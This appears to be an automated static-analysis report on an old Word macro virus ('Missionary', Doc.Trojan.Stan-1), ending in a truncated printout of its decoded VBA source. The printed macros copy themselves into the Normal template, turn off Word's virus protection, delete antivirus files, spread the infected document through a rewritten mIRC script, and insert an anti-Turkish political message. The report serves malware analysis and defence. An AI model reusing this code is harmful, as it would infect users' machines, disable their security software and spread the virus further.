Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8659210fa78929e8…

MALICIOUS

Office (OLE)

40.0 KB Created: 1999-05-11 20:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 877eae3c5cf6052d3ceac476ef7e1c72 SHA-1: a796de8c3cd228f26b9febdd843f374c14319e5a SHA-256: 8659210fa78929e8278380aa753dc43b0a9ebcd72d982eac28a85e813a4de679
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1027 Obfuscated Files or Information

The sample contains VBA macros with an AutoOpen subroutine that attempts to export itself to 'C:\WINDOWS\missionary.sys' and then import it back, likely to establish persistence or execute a second stage. It also attempts to disable antivirus software by killing processes and deleting files associated with common AV products. The ClamAV detection 'Doc.Trojan.Stan-1' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Trojan.Stan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Stan-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://come.to/CCCriminals In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15580 bytes
SHA-256: fee40ce9b154040bcb5344c17fe7888491728e12c7e7f58a73b1028ce3c37eb3
Detection
ClamAV: Doc.Trojan.Stan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "missionary"
Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Application.VBE.ActiveVBProject.VBComponents("missionary").Export "C:\WINDOWS\missionary.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "missionary" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "missionary" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject
If NormInstall = True And ActivInstall = False Then Set Dobj = ActiveDocument.VBProject
Dobj.VBComponents.Import ("c:\WINDOWS\missionary.sys")
ActiveDocument.SaveAs Filename:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
NormalTemplate.Save
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Format").Controls("Style...").Delete
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.DisplayAlerts = wdAlertsNone
Application.StatusBar = False
Kill "C:\Program Files\AntiViral Toolkit Pro\Avp32.exe"
Kill "C:\Program Files\AntiViral Toolkit Pro\*.avc"
Kill "C:\Program Files\Command Software\F-PROT95\*.dll"
Kill "C:\Program Files\Command Software\F-PROT95\*.exe"
Kill "C:\Program Files\McAfee\VirusScan95\Scan.dat"
Kill "C:\Program Files\McAfee\VirusScan\Scan.dat"
Kill "C:\Program Files\Norton AntiVirus\Viruscan.dat"
Kill "C:\Program Files\Symantec\Symevnt.386"
Kill "C:\Program Files\FindVirus\Findviru.drv"
Kill "C:\Program Files\Cheyenne\AntiVirus\*.dll"
Kill "C:\Program Files\Cheyenne\Common\Cshell.dll"
Kill "C:\PC-Cillin 95\Lpt$vpn.*"
Kill "C:\PC-Cillin 95\Scan32.dll"
Kill "C:\eSafe\Protect\*.dll"
Kill "c:\f-macro\f-macro.exe"
Kill "C:\TBAVW95\Tbscan.sig"
Kill "C:\Tbavw95\Tb*.*"
Kill "C:\VS95\*.dll"
End Sub

Sub AutoNew()
On Error Resume Next
K = Dir("c:\mirc\mirc32.exe")
If K = "" Then
Exit Sub
Else
m = Dir("c:\mirc\backup\needforspeedIII.doc")
If m = "" Then ActiveDocument.SaveAs "c:\mirc\backup\needforspeedIII.doc"
Kill "c:\mirc\script.ini"
Open "c:\mirc\script.ini" For Random As #1
Print #1, "[script]"
Print #1, "n0=on 1:text:*virus*:#:/msg $chan  Virii Rule "
Print #1, "n1=on 1:text:*virus*:#:/join #vir | /amsg I am infected with Missionary virus by PhreakX"
Print #1, "n2=on 1:text:*missionary*:#:/amsg I am infected with Missionary virus by PhreakX"
Print #1, "n3=on 1:text:*turkey*:#:/msg $chan Turkey sucks"
Print #1, "n4=on 1:join:#:/send $nick c:\mirc\backup\needforspeedIII.doc"
Close #1
End If
End Sub

Sub FileSave()
On Error Resume Next
Randomize
If Day(Now) = 20 Then
MsgBox "Missionary Virus", vbCritical, "3C"
Selection.MoveStart
Selection.TypeText "I am a Missionary, my mission is to inform."
Selection.TypeText " The information that I will give you today concerns injustice."
Selection.TypeText " On the 20th of July 1974 the Turkish troops under the commands of"
Selection.TypeText " Bulet Eccevit invated Cyprus, took over our houses, killed our relatives"
Selection.TypeText " raped our mothers and sisters and they still live there."
Selection.TypeText " They call southern Cyprus 'Turkey', what they don't understand is that"
Selection.TypeText " no matter what they call it, it is still Cyprus."
Selection.TypeText " All you Turks out there who believe Cyprus belongs to you"
Selection.TypeText " watch out, because someone is after you, and this someone is"
Selection.TypeText " PhreakX"
Selection.TypeText "---3C Group wants freedom for Cyprus and not war, but as long as"
Selection.TypeText " people like Bulet Eccevit, Raouf Degtas and Tatsun Chill
... (truncated)